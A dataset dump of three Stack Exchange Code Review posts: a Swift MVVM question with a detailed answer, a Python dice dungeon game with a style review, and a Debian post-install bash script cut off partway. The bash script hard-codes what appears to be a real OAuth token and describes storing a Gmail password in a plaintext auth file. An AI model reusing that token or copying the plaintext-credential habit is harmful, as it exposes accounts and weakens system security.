body stringlengths 25 86.7k | comments list | answers list | meta_data dict | question_id stringlengths 1 6 |
|---|---|---|---|---|
<p>I've been implementing MVVM in Swift. I've looked at several implementations, many of which violate some aspects of MVVM and wanted to have a go with my own version that contains a Web request service.</p>
<p>View:</p>
<pre><code>class BreachView: UIView {
var nameLabel = UILabel()
public override init(frame: CGRect) {
let labelframe = CGRect(x: 0, y: 50, width: frame.width, height: 20)
nameLabel.frame = labelframe
nameLabel.backgroundColor = .gray
super.init(frame: frame)
self.addSubview(nameLabel)
backgroundColor = .red
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
}
</code></pre>
<p>ViewController:</p>
<pre><code>class ViewController: UIViewController {
var breachesViewModel: BreachViewModelType!
var breachView : BreachView?
// to be called during testing
init(viewModel: BreachViewModelType) {
breachesViewModel = viewModel
super.init(nibName: nil, bundle: nil)
}
// required when called from storyboard
required init?(coder aDecoder: NSCoder) {
breachesViewModel = BreachViewModel()
super.init(coder: aDecoder)
}
override func viewDidLoad() {
super.viewDidLoad()
breachesViewModel.fetchData{ [weak self] breaches in
guard let self = self else {return}
DispatchQueue.main.async {
self.updateUI()
}
}
}
func updateUI() {
breachView = BreachView(frame: view.frame)
breachesViewModel.configure(breachView!, number: 3)
view.addSubview(breachView!)
}
}
</code></pre>
<p>Protocol for dependency injection:</p>
<pre><code>protocol BreachViewModelType {
func fetchData(completion: @escaping ([BreachModel]) -> Void)
func configure (_ view: BreachView, number index: Int)
}
</code></pre>
<p>ViewModel:</p>
<pre><code>class BreachViewModel : BreachViewModelType {
var breaches = [BreachModel]()
init() {
// add init for ClosureHTTPManager here, to allow it to be teestable in the future
}
func fetchData(completion: @escaping ([BreachModel]) -> Void) {
ClosureHTTPManager.shared.get(urlString: baseUrl + breachesExtensionURL, completionBlock: { [weak self] result in
guard let self = self else {return}
switch result {
case .failure(let error):
print ("failure", error)
case .success(let dta) :
let decoder = JSONDecoder()
do
{
self.breaches = try decoder.decode([BreachModel].self, from: dta)
completion(try decoder.decode([BreachModel].self, from: dta))
} catch {
// deal with error from JSON decoding!
}
}
})
}
func numberItemsToDisplay() -> Int {
return breaches.count
}
func configure (_ view: BreachView, number index: Int) {
// set the name and data in the view
view.nameLabel.text = breaches[index].name
}
}
</code></pre>
<p>and HTTP manager</p>
<pre><code>class ClosureHTTPManager {
static let shared: ClosureHTTPManager = ClosureHTTPManager()
enum HTTPError: Error {
case invalidURL
case invalidResponse(Data?, URLResponse?)
}
public func get(urlString: String, completionBlock: @escaping (Result<Data, Error>) -> Void) {
guard let url = URL(string: urlString) else {
completionBlock(.failure(HTTPError.invalidURL))
return
}
let task = URLSession.shared.dataTask(with: url) { data, response, error in
guard error == nil else {
completionBlock(.failure(error!))
return
}
guard
let responseData = data,
let httpResponse = response as? HTTPURLResponse,
200 ..< 300 ~= httpResponse.statusCode else {
completionBlock(.failure(HTTPError.invalidResponse(data, response)))
return
}
completionBlock(.success(responseData))
}
task.resume()
}
}
</code></pre>
<p>Calling the API from</p>
<pre><code>let baseUrl : String = "https://haveibeenpwned.com/api/v2"
let breachesExtensionURL : String = "/breaches"
</code></pre>
<p>Any comments on whether the implementation conforms to MVVM or not, typos, changes etc. are appreciated.</p>
<p>Git link: <a href="https://github.com/stevencurtis/MVVMWithNetworkService" rel="nofollow noreferrer">https://github.com/stevencurtis/MVVMWithNetworkService</a></p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T11:00:53.127",
"Id": "420522",
"Score": "1",
"body": "Be aware: ViewDidLoad sometimes get called twicee."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T22:12:58.547",
"Id": "421236",
"Score": "0",
"body": "@muescha - No it doesn’t. For a given instance of the view controller, `viewDidLoad` is only called once. Maybe you’re confusing it with `viewDidAppear`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-21T13:31:56.523",
"Id": "421493",
"Score": "0",
"body": "No. See question „why-is-viewdidload-getting-called-twice“ https://stackoverflow.com/questions/32796362/why-is-viewdidload-getting-called-twice"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T09:45:05.900",
"Id": "503999",
"Score": "0",
"body": "I have created one example app with some tests with MVVM design type. [https://github.com/ivamaheshwari/dubizzleX](https://github.com/ivamaheshwari/dubizzleX) Also sharing one article which helped me understanding the concept for iOS. [https://medium.com/flawless-app-stories/mvvm-in-ios-swift-aa1448a66fb4](https://medium.com/flawless-app-stories/mvvm-in-ios-swift-aa1448a66fb4) Hope this is helpful. Thanks"
}
] | [
{
"body": "<p>A couple of thoughts.</p>\n\n<ul>\n<li><p>The presence of <code>init(viewModel:)</code> in the view controller (with its associated comment about using this during testing) seems to suggest that you plan on testing the view controller. But one of the central tenets of MVP, MVVM and the like is that the goal is to have a UIKit-independent representation. Part of the reasons we do that is because that is the object that we’ll test, not the view controller.</p>\n\n<p>Bottom line, I’d be inclined to retire <code>init(viewModel:)</code> from the view controller and restrict the testing to the view model.</p>\n\n<p>For example, a MVP might look like:</p>\n\n<p><a href=\"https://i.stack.imgur.com/VwJav.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VwJav.png\" alt=\"enter image description here\"></a></p>\n\n<p>Or, in MVVM, you’ll see structures like:</p>\n\n<p><a href=\"https://i.stack.imgur.com/l8JM3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/l8JM3.png\" alt=\"enter image description here\"></a></p>\n\n<p>(Both images from Medium's <a href=\"https://medium.com/ios-os-x-development/ios-architecture-patterns-ecba4c38de52\" rel=\"nofollow noreferrer\">iOS Architecture Patterns</a>.)</p>\n\n<p>But in both cases, the mediator (the view model or the presenter), should not be UIKit-specific, and it’s that mediator on which we’ll do our unit testing.</p></li>\n<li><p>The view controller has a method <code>updateUI</code>, which is adding the view to the hierarchy. I’d suggest you decouple the initial “configure the view” from the “view model has informed me of some model change”. </p></li>\n<li><p>MVVM generally suggests that you’re doing some “data binding”, where the initial configuration of the view controller sets up the connection between presenter events and UIKit control updates and vice versa. It’s hard to tell, but this feels like you’re got the beginning of something with a more MVP <em>je ne sais quoi</em> than MVVM. That’s not necessarily wrong, but they’re just different.</p></li>\n<li><p>In <code>BreachViewModel</code> is updating the <code>text</code> property of the <code>UILabel</code> called <code>nameLabel</code> within the view. To my two prior points, the view model, itself, should be UIKit dependent, and it definitely shouldn’t be reaching into a subview of the view and updating the <code>text</code> itself. If this was MVVM, you’d bind the label to the view model and have the update take place that way. If this was MVP, the presenter should just inform the view controller that the value has changed and the view controller would update the UIKit control.</p>\n\n<p>But avoid having anything UIKit specific in the view model.</p></li>\n<li><p>A few observations in <code>fetchData</code>:</p>\n\n<ul>\n<li><p>You have paths of execution where you don’t call the completion handler. You generally always want to call the completion handler, reporting success with data or failure with error information. Perhaps adopt the <code>Result<T, U></code> pattern you did with <code>ClosureHTTPManager</code> (like we did in the answer to <a href=\"https://codereview.stackexchange.com/a/216836/54422\">your earlier question</a>).</p></li>\n<li><p>You are decoding your JSON twice. Obviously, you only want to do that once.</p></li>\n</ul></li>\n<li><p>This is personally a matter of taste, but I’m not crazy about the view model doing JSON parsing. That seems like the job of some API layer, not the view model. I like to see the view model limited to taking parsed data, updating models, applying business rules, etc.</p></li>\n</ul>\n\n<p>I think the aforementioned <a href=\"https://medium.com/ios-os-x-development/ios-architecture-patterns-ecba4c38de52\" rel=\"nofollow noreferrer\">iOS Architecture Patterns</a> is an interesting discussion of many of these issues. I also think Dave DeLong’s <a href=\"https://davedelong.com/blog/2017/11/06/a-better-mvc-part-1-the-problems/\" rel=\"nofollow noreferrer\">A Better MVC</a> is an interesting read.</p>\n\n<hr>\n\n<p>Generally, if you were going to write MVVM, you’d use a framework like <a href=\"https://github.com/DeclarativeHub/Bond\" rel=\"nofollow noreferrer\">Bond</a> or <a href=\"https://github.com/ReactiveX/RxSwift\" rel=\"nofollow noreferrer\">SwiftRX</a> to facilitate the bindings. But let’s contemplate what a minimalist implementation might look like. (In the absence of these binding networks, this is arguably more MVP than MVVM, but it illustrates the basic idea that this view-model/presenter is where the logic goes and the view controller is just responsible for hooking it up to the view.)</p>\n\n<p>Bottom line, the view controller would basically set up the view model (possibly passing in initial model data), and tell the view model what it wanted to do when the view model wanted to inform us </p>\n\n<pre><code>class BreachViewController: UITableViewController {\n var viewModel = BreachViewModel(model: nil)\n var dimmingView: UIView?\n\n override func viewDidLoad() {\n super.viewDidLoad()\n\n // tell view model what you want it to do when the model changes\n\n viewModel.breachesDidChange = { [weak self] result in\n self?.tableView.reloadData()\n }\n\n // tell view model that you want it to fetch from the server\n\n viewModel.fetchBreaches() { [weak self] result in\n if case .failure(let error) = result {\n self?.showError(error)\n }\n }\n }\n}\n</code></pre>\n\n<p>The view model could have a method to perform the request and inform the view (controller) of the changes:</p>\n\n<pre><code>class BreachViewModel {\n\n var breaches: [Breach]? {\n didSet { breachesDidChange?(breaches) }\n }\n\n var breachesDidChange: (([Breach]?) -> Void)?\n\n init(model: [Breach]?) {\n breaches = model\n }\n\n func fetchBreaches(completion: @escaping (Result<[Breach], Error>) -> Void) {\n ApiManager.shared.fetchBreaches { [weak self] result in\n guard let self = self else { return }\n\n switch result {\n case .failure:\n self.breaches = nil\n\n case .success(let breaches):\n self.breaches = breaches.sortedByName()\n }\n\n completion(result)\n }\n }\n}\n</code></pre>\n\n<p>In this example, the view controller is responsible for the view, the presenter/view model is a small testable class, and network and API logic are encapsulated in separate services.</p>\n\n<p>See <a href=\"https://github.com/robertmryan/Breaches\" rel=\"nofollow noreferrer\">https://github.com/robertmryan/Breaches</a> for working demonstration.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T23:14:34.900",
"Id": "217706",
"ParentId": "217371",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "217706",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T06:51:29.150",
"Id": "217371",
"Score": "3",
"Tags": [
"swift"
],
"Title": "MVVM in Swift iOS"
} | 217371 |
<p>Curious on how I can consolidate or generally streamline my code here:</p>
<pre><code>import random
import random
#Rolls a certian number sided dice
def diceRoll(num):
roll = random.randint(1 , num)
#print("The roll was: ", roll)
return roll
############
print("")
############
#Generates a dungeon with a number of rooms based on the dice and roll
def generateDungeon():
diceRoll(6)
numberOfRooms = diceRoll(6)
#print("The roll was: ", roll6)
if numberOfRooms > 1:
print("There are ", numberOfRooms, "rooms in this dungeon.")
else:
print("There is only 1 room in this dungeon.")
return numberOfRooms
############
print("")
############
#Defines the size and events of a room the players enter
def randomRoom():
diceRoll(4)
numberOfRooms = generateDungeon()
roomSize = diceRoll(4)
while numberOfRooms != 0:
#print("The roll was: ", roll4)
if roomSize == 1:
print("You come a small room")
enemyInRoom()
chanceOfChest()
elif roomSize == 2:
print("You to a normal sized room")
enemyInRoom()
chanceOfChest()
else:
if roomSize == 3 or roomSize == 4:
diceRoll(10)
largeRoom = diceRoll(10)
if largeRoom <= 5:
print("You come to normal sized room")
enemyInRoom()
chanceOfChest()
else:
print("You come to a large room")
enemyInRoom()
chanceOfChest()
numberOfRooms -= 1
############
print("")
############
#Defines the chance of finding a chest in a room
def chanceOfChest():
diceRoll(20)
chestChance = diceRoll(20)
#print("The roll was: ", chestChance)
if chestChance >= 17:
findAChest()
elif chestChance == 1:
print("You find a chest and decide to look inside... It's a mimic!")
print("")
print("After battle, you continue on")
else:
print("There appears to be nothing of value in this room.")
############
print("")
############
#Defines the chance of obtaining certain items in a chest
def findAChest():
diceRoll(20)
roll = diceRoll(20)
gold = diceRoll(20) * .75
platinum = diceRoll(20) * .5
emperium = diceRoll(20) * .1
foundChest = input("You've found a chest! Would you like to open it? ")
if foundChest == "yes" or foundChest == "Yes":
#print("The roll was: ", roll20)
if roll == 1:
print("The chest is a mimic! Prepare for battle!")
elif roll < 15:
print("Sadly, the chest is empty. You move on from the chest.")
elif roll < 18:
print("You find ", format(gold, "3.0f"), "Gold in the chest!")
lookAgain = input("Would you like to look again? ")
if lookAgain == "yes" or foundChest == "yes":
diceRoll(20)
if roll == 20:
#print("The roll was: ", roll20)
print("You find ", format(gold, "3.0f"), " more Gold in the chest!")
else:
print("You don't see anything else and move on from the chest.")
elif roll < 19:
print("You find ", format(platinum, "3.0f"), "Platinum in the chest!")
lookAgain = input("Would you like to look again? ")
if lookAgain == "yes" or foundChest == "yes":
diceRoll(20)
if roll == 20:
#print("The roll was: ", roll20)
print("You find ", format(gold, "3.0f"), " more Gold in the chest!")
else:
print("You don't see anything else and move on from the chest.")
elif roll < 20:
print("You find ", format(emperium, "3.0f"), "Emperium in the chest!")
lookAgain = input("Would you like to look again? ")
if lookAgain == "yes" or foundChest == "yes":
diceRoll(20)
if roll == 20:
#print("The roll was: ", roll20)
print("You find ", format(gold, "3.0f"), " more Gold in the chest!")
else:
print("You don't see anything else and move on from the chest.")
else:
diceRoll(20)
if roll >= 17:
print("You find a magical item in the chest!")
print("")
if foundChest == "No" or foundChest == "no":
print("You move on and leave the chest behind.")
print("")
#################
print("")
#################
#Determines if enemies are in a room and how many
def enemyInRoom():
diceRoll(20)
enemyAppears = diceRoll(20)
diceRoll(6)
numberOfEnemies = diceRoll(6)
if enemyAppears == 1:
print("You walk into the room and it appears to be empty.", end="")
print("Then you hear the door close behind you. ", end="")
print("You turn to find", numberOfEnemies + 2 , "enemies waiting in ambush!")
print("")
print("After defeating the enemies the room appears to be safe.")
print("")
searchRoom = input("Do you want to search the room? ")
if searchRoom == "yes" or searchRoom == "Yes":
chanceOfChest
else:
print("You decide to move on from this room")
elif enemyAppears < 15:
print("You open the door to find", numberOfEnemies, "enemies!")
print("")
print("After defeating the enemies the room appears to be safe.")
print("")
searchRoom = input("Do you want to search the room? ")
if searchRoom == "yes" or searchRoom == "Yes":
chanceOfChest
else:
print("You decide to move on from this room")
else:
print("This room appears to be safe.")
searchRoom = input("Do you want to search the room? ")
if searchRoom == "yes" or searchRoom == "Yes":
chanceOfChest
else:
print("You decide to move on from this room")
#Runs program and has each section commented out for troubleshooting
def dungeon():
#diceRoll(20)
#findAChest()
#generateDungeon()
randomRoom()
#chanceOfChest()
#enemyInRoom()
dungeon()
#Commented out print statements are for troubleshooting and confirming
#that the rolls and results are giving correct outputs
</code></pre>
<p>As of posting this it appears to be working in all of the situations that I've been able to test. If you see any errors by all means let me know.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T07:56:41.263",
"Id": "420512",
"Score": "3",
"body": "Welcome to Code Review! Please describe what you want to accomplish with your program. Be as detailed as possible. After that, also update your title accordingly. See *Asking your question* and *Titling your question* [here](https://codereview.stackexchange.com/help/how-to-ask)."
}
] | [
{
"body": "<p>There are indeed a few aspects of your code that need work. The following review will use some techniques introduced in Python 3. If you're not yet using Python 3, you definitely should, especially if you do not already have a large code base that only works in Python 2. Python 2 will only be actively maintained <a href=\"https://www.python.org/dev/peps/pep-0373/\" rel=\"nofollow noreferrer\">until 2020</a>.</p>\n\n<h2>Style and Structure</h2>\n\n<p>First, the obligatory note about Python's official <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">Style Guide</a>, often just called PEP8 fort short. You definitely should read and probably also follow it since it is quite a neat collection of general best practices when it comes to code style and structure in Python. I will walk through some aspects in more detail in the following.</p>\n\n<p>The first point I would like to talk about in more detail is documentation. You have shown the will to document your functions. The Style Guide prescribes the preferred way to document functions and the like in the section <a href=\"https://www.python.org/dev/peps/pep-0008/#documentation-strings\" rel=\"nofollow noreferrer\">Documentation Strings</a>. Using <code>\"\"\"...\"\"\"</code> to document your code has not only the benefit of being style guide compliant, but also helps Python's built-in help function and almost all Python IDEs to pick up this documentation. It would be used like this:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def diceRoll(num):\n \"\"\"Rolls a certain number sided dice\"\"\"\n # your other code here\n</code></pre>\n\n<p>While we are at names, the <a href=\"https://www.python.org/dev/peps/pep-0008/#naming-conventions\" rel=\"nofollow noreferrer\">official recommendation</a> for variable and function names is <code>snake_case</code>. Most Python programmers tend to follow this recommendation, but as long as you use a consistent style I would accept alternatives. The code piece above could simply be rewritten to follow the style guide as follows:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def dice_roll(num):\n \"\"\"Rolls a certain number sided dice\"\"\"\n # your other code here\n</code></pre>\n\n<p>Another thing to note about names that is independent of the Style Guide or the language you use, are the names themselves. It might not be an issue with simple code like yours, but later on if the code gets more complex, you will start to hate yourself if the variable and function names hint in one direction and do something else. I would consider <code>chanceOfChest()</code> a good (or bad?) example for this. <code>chanceOfChest()</code> sounds like a function that would return a probability of how likely it is that a player can find a chest. Instead of this, there is a whole event chain scripted inside that decides a) if the player finds a chest at all and b) generates the content of the chest using another function. I think something like <code>generate_chest_event()</code> or the like yould be more appropriate here. That applys to a lot of your other functions as well. The example from above is also quite interesting in that context since it is one of a few functions that break the \"do something\" name scheme. To be more in line with the rest of the code I would make another edit there:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def roll_dice(n_sides):\n \"\"\"Rolls a certain number sided dice\"\"\"\n # your other code here\n</code></pre>\n\n<p>After looking at the code on a zoomed in manner for quite a while now, I would like to take a step back with you and look at the greater <strong>structure</strong> of it. For the time being, think about structure more as the (superficial) strucural appearance of the code, not the algorithmic structure. You seem to understand that blank lines can greatly help to visually group code blocks that belong together. Unfortunately, you're not doing a great job when it comes to applying that principal to your code. Let's look at an example from your question:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>import random\n\n#Rolls a certian number sided dice\ndef diceRoll(num):\n\n roll = random.randint(1 , num)\n\n #print(\"The roll was: \", roll)\n\n return roll\n\n############\nprint(\"\")\n############\n\n#Generates a dungeon with a number of rooms based on the dice and roll\ndef generateDungeon():\n diceRoll(6)\n\n numberOfRooms = diceRoll(6)\n\n #print(\"The roll was: \", roll6)\n\n if numberOfRooms > 1:\n print(\"There are \", numberOfRooms, \"rooms in this dungeon.\")\n\n else:\n print(\"There is only 1 room in this dungeon.\")\n\n return numberOfRooms\n</code></pre>\n\n<p>Blank lines literally everywhere. Again, PEP8 has <a href=\"https://www.python.org/dev/peps/pep-0008/#blank-lines\" rel=\"nofollow noreferrer\">guidelines</a> on how to use blank lines to actually support the structure of your code, and not distort it. Applying these guidelines to that snippet together with the aspects mentioned above would lead to code that looks more like the following snippet:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>import random\n\n\ndef roll_dice(n_sides):\n \"\"\"Rolls a certain number sided dice\"\"\"\n roll = random.randint(1, n_sides)\n #print(f\"The roll was {roll}\")\n return roll\n\n\ndef choose_random_dungeon_size():\n \"\"\"Generates a dungeon with a number of rooms based on the dice and roll\"\"\"\n number_of_rooms = roll_dice(6)\n if number_of_rooms > 1:\n print(f\"There are {number_of_rooms} rooms in this dungeon.\")\n else:\n print(\"There is only 1 room in this dungeon.\")\n return number_of_rooms\n</code></pre>\n\n<p>Quite a few things<sup>1</sup> have happened while getting there, so let me talk you through it. I massively cut down on blank lines within the functions, and added a few where they are more appropriate. Here \"appropriate\" means that there are two blank lines between larger pieces of code that work on their own, such as the <code>import</code> section as well as between each of the two functions. I also got rid of the loose pieces like the dice roll whose value was never assigned to a variable and thus had no effect and one of those weird print statements that are found quite often in your code. There is no need for those prints since all they will buy you are a number of blank lines before your code is printing its first output to the console. It neither helps you, a revier nor the Python interpreter to make any more sense of the written code.</p>\n\n<p>Since running has just come up, let me introduce you to another best practice when writing Python code that is supposed to be run as script. There is general distinction between parts of code you would write to use/import as a library such as <code>random</code> (or countless other modules/libraries shipped with Python be default) and parts to be used as scripts that use those library functions to actually \"do something\". While looking at code written by more experienced Python programmers you will often find a code block saying</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>if __name__ == \"__main__\":\n main()\n</code></pre>\n\n<p>often quite at the bottom or the top of a script. That is the Python way of checking if the current source code is run as a script (in which case <code>__name__ == \"__main__\"</code> is <code>True</code>) versus someone uses it as a library. In that case the <code>main</code> function would be run. If you were to import the file from another Python file you have written, <code>__name__</code> would be different and <code>main</code> would not be executed, but you could use all the other functions (theoretically also main) at your discretion. See also the <a href=\"https://docs.python.org/3/library/__main__.html\" rel=\"nofollow noreferrer\">Python documentation</a> and <a href=\"https://stackoverflow.com/a/419185/5682996\">this</a> SO post for further reading.</p>\n\n<p>Incorporating all or parts of these changes in your code will greatly improve the code's readability and maintainabilty.</p>\n\n<hr>\n\n<p>Since this answer is alreay quite long, I will stop here and leave comments on the code itself to other members of the community or maybe even future-me.</p>\n\n<hr>\n\n<p><sup>1</sup>I also introduced so called <a href=\"https://docs.python.org/3/whatsnew/3.6.html#pep-498-formatted-string-literals\" rel=\"nofollow noreferrer\">f-strings</a>, which is as of Python 3.6 the recommended way of producing formatted strings. There is a nice blog post <a href=\"https://realpython.com/python-f-strings/\" rel=\"nofollow noreferrer\">here</a> presenting and comparing all the string formatting techniques available in Python and how to properly use them.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T21:20:11.363",
"Id": "217638",
"ParentId": "217372",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T07:41:52.960",
"Id": "217372",
"Score": "2",
"Tags": [
"python",
"dice",
"adventure-game"
],
"Title": "Simple dungeon game"
} | 217372 |
<p><strong>I have this bash script I've been working on and I have updated it. I was hoping for some advice and/or input on the code.</strong></p>
<p>This script is run directly after a fresh install of <code>Debian</code>, to do:</p>
<ul>
<li>Sets up syntax highlighting in <code>Nano</code></li>
<li>Sets up iptables</li>
<li>Sets up ssh</li>
<li>Sets up custom bashrc files</li>
<li><code>ls</code> colors</li>
<li>Creates users on the system if needed</li>
<li>Checks if user has a password set and sets it if not</li>
<li>Installs non-free firmware and sets up <code>apt</code> with <code>Virtualbox</code> deb file and multimedia deb in <code>sources.list</code></li>
<li>Installs video and audio codecs, players and related</li>
<li>Sets up <code>flash</code> for <code>Mozilla Firefox</code> and creates a cron for weekly updates</li>
<li>It updates the system</li>
</ul>
<p>There was mention of debconf but I've never heard about that.</p>
<p>Could you add some features to the program that are practical, convenient or cool for setting up new installs?</p>
<p>Is there anything in the program that I don't need?</p>
<pre><code>#!/bin/bash -x
########### Copy or Move the accompanied directory called "svaka" to /tmp ######################
################################################################################################
################## shopt (shopt [-pqsu] [-o] [optname …]) = This builtin allows you to change additional shell optional behavior.
################## -s = Enable (set) each optname.
################## -o = Restricts the values of optname to be those defined for the -o option to the set builtin (see The Set Builtin).
################## nounset = Treat unset variables and parameters other than the special parameters ‘@’ or ‘*’ as an error when performing parameter expansion. An
# error message will be written to the standard error, and a non-interactive shell will exit.
################## The Set Builtin
#This builtin is so complicated that it deserves its own section. set allows you to change the values of shell options and set the positional parameters, or to
#display the names and values of shell variables.
shopt -s -o nounset
############################################################
#The set -e option instructs bash to immediately exit if any command [1] has a non-zero exit status. You wouldn't want to set this for your command-line shell,
#but in a script it's massively helpful. In all widely used general-purpose programming languages, an unhandled runtime error - whether that's a thrown exception
#in Java, or #a segmentation fault in C, or a syntax error in Python - immediately halts execution of the program; subsequent lines are not executed.
#set -u affects variables. When set, a reference to any variable you haven't previously defined - with the exceptions of $* and $@ - is an error, and causes the
#program to immediately exit. Languages like Python, C, Java and more all behave the same way, for all sorts of good reasons. One is so typos don't create new
#variables without you realizing it.
#set -o pipefail
#This setting prevents errors in a pipeline from being masked. If any command in a pipeline fails, that return code will be used as the return code of the whole
#pipeline. By default, the pipeline's return code is that of the last command - even if it succeeds. Imagine finding a sorted list of matching lines in a file:
# % grep some-string /non/existent/file | sort
# grep: /non/existent/file: No such file or directory
# % echo $?
# 0
#set -euo pipefail
#set -euo pipefail
#####33 Also use this↓↓↓↓↓↑↑↑↑↑↑↑↑↑↑
#set -euo pipefail
IFS_OLD=$IFS
IFS=$'\n\t'
#↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
#Setting IFS to $'\n\t' means that word splitting will happen only on newlines and tab characters. This very often produces useful splitting behavior. By default,
#bash sets this to $' \n\t' - space, newline, tab - which is too eager.
#######################↑↑↑↑↑↑↑↑
#
####### Catch signals that could stop the script
trap : SIGINT SIGQUIT SIGTERM
#################################
####################################################### Setup system to send email with your google/gmail account and sendmail ##############################
######################################################## TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO ##############################
# Configuring Gmail as a Sendmail email relay
#
#
#Introduction
#
#In this configuration tutorial we will guide you through the process of configuring sendmail to be an email relay for your gmail or google apps account.
#This allows #you to send email from your bash scripts, hosted website or from command line using mail command.
#Other examples where you can utilize this setting is for a #notification purposes such or failed backups etc.
#Sendmail is just one of many utilities which can be configured to rely on gmail account where the others include #postfix, exim , ssmpt etc.
#In this tutorial we will use Debian and sendmail for this task.
#Install prerequisites
#
## CODE:apt-get install sendmail mailutils sendmail-bin
#
#Create Gmail Authentication file
#
## CODE:mkdir -m 700 /etc/mail/authinfo/
## CODE:cd /etc/mail/authinfo/
#
#next we need to create an auth file with a following content. File can have any name, in this example the name is gmail-auth:
#
# CODE: printf 'AuthInfo: "U:root" "I:YOUR GMAIL EMAIL ADDRESS" "P:YOUR PASSWORD"\n' > gmail-auth
#
#Replace the above email with your gmail or google apps email.
#
#Please note that in the above password example you need to keep 'P:' as it is not a part of the actual password.
#
#In the next step we will need to create a hash map for the above authentication file:
#
## CODE:makemap hash gmail-auth < gmail-auth
#
#Configure your sendmail
#
#Put bellow lines into your sendmail.mc configuration file right above first "MAILER" definition line: ######################################################
#
#define(`SMART_HOST',`[smtp.gmail.com]')dnl
#define(`RELAY_MAILER_ARGS', `TCP $h 587')dnl
#define(`ESMTP_MAILER_ARGS', `TCP $h 587')dnl
#define(`confAUTH_OPTIONS', `A p')dnl
#TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnl
#define(`confAUTH_MECHANISMS', `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnl
#FEATURE(`authinfo',`hash -o /etc/mail/authinfo/gmail-auth.db')dnl
#############################################################################################################################################################
#Do not put the above lines on the top of your sendmail.mc configuration file !
#
#In the next step we will need to re-build sendmail's configuration. To do that execute:
#
## CODE: make -C /etc/mail
#
#Reload sendmail service:
#
# CODE:/etc/init.d/sendmail reload
#
#and you are done.
#Configuration test
#
#Now you can send an email from your command line using mail command:
#
# CODE: echo "Just testing my sendmail gmail relay" | mail -s "Sendmail gmail Relay" "This email address is being protected from spambots."
#
#######################################################3 Trap signals and exit to send email on it #######################################################
#trap 'echo "Subject: Program finsihed execution" | sendmail -v "This email address is being protected from spambots."' exit # It will mail on normal exit
#trap 'echo "Subject: Program interrupted" | /usr/sbin/sendmail -v "This email address is being protected from spambots."' INT HUP
# it will mail on interrupt or hangup of the process
# redirect all errors to a file #### MUNA setja þetta í sshd_config="#HISTAMIN98"
if [ -w /tmp/svaka ]
then
exec 2>debianConfigVersion5.3__ERRORS__.txt
else
echo "can't write error file!"
exit 127
fi
##################################################################################################### TODO exec 3>cpSuccessCodes.txt ##
#############################################################################################################
SCRIPTNAME=$(basename "$0")
if [ "$UID" != 0 ]
then
echo "This program should be run as root, exiting! now....."
sleep 3
exit 1
fi
if [ "$#" -eq 0 ]
then
echo "RUN AS ROOT...Usage if you want to create users:...$SCRIPTNAME USER_1 USER_2 USER_3 etc."
echo "If you create users they will be set with a semi strong password which you need to change later as root with the passwd command"
echo
echo
echo "#################### ↓↓↓↓↓↓↓↓↓↓↓ OR ↓↓↓↓↓↓↓↓↓↓ #############################"
echo
echo
echo "RUN AS ROOT...Usage without creating users: $SCRIPTNAME"
echo
sleep 10
fi
echo "Here starts the party!"
echo "Setting up server..........please wait!!!!!"
sleep 3
### ↓↓↓↓ Initialization of VARIABLES............NEXT TIME USE "declare VARIABLE" ↓↓↓↓↓↓↓↓↓↓ #####
OAUTH_TOKEN=d6637f7ccf109a0171a2f55d21b6ca43ff053616
WORK_DIR=/tmp/svaka
BASHRC=.bashrc
NANORC=.nanorc
BASHRCROOT=.bashrcroot
SOURCE=sources.list
PORT=""
########### Commands
PWD=$(pwd)
#-----------------------------------------------------------------------↓↓
export DEBIAN_FRONTEND=noninteractive
#-----------------------------------------------------------------------↑↑
################ Enter the working directory where all work happens ##########################################
cd "$WORK_DIR" || { echo "cd $WORK_DIR failed"; exit 127; }
############################### make all files writable, executable and readable in the working directory#########
if ! chown -R root:root "$WORK_DIR"
then
echo "chown WORK_DIR failed"
exit 127
fi
if ! chmod -R 750 "$WORK_DIR"
then
echo "chmod WORK_DIR failed"
exit 127
fi
############################################################## Check if files exist and are writable #########################################
if [[ ! -f "$WORK_DIR"/.bashrc && ! -w "$WORK_DIR"/.bashrc ]]
then
echo "missing .bashrc file or is not writable.. exiting now....." && { exit 127; }
fi
if [[ ! -f "$WORK_DIR"/.nanorc && ! -w "$WORK_DIR"/.nanorc ]]
then
echo "missing .nanorc file or is not writable.. exiting now....." && { exit 127; }
fi
if [[ ! -f "$WORK_DIR"/.bashrcroot && ! -w "$WORK_DIR"/.bashrcroot ]]
then
echo "missing .bashrcroot file or is not writable..exiting now....." && { exit 127; }
fi
if [[ ! -f "$WORK_DIR"/sources.list && ! -w "$WORK_DIR"/sources.list ]]
then
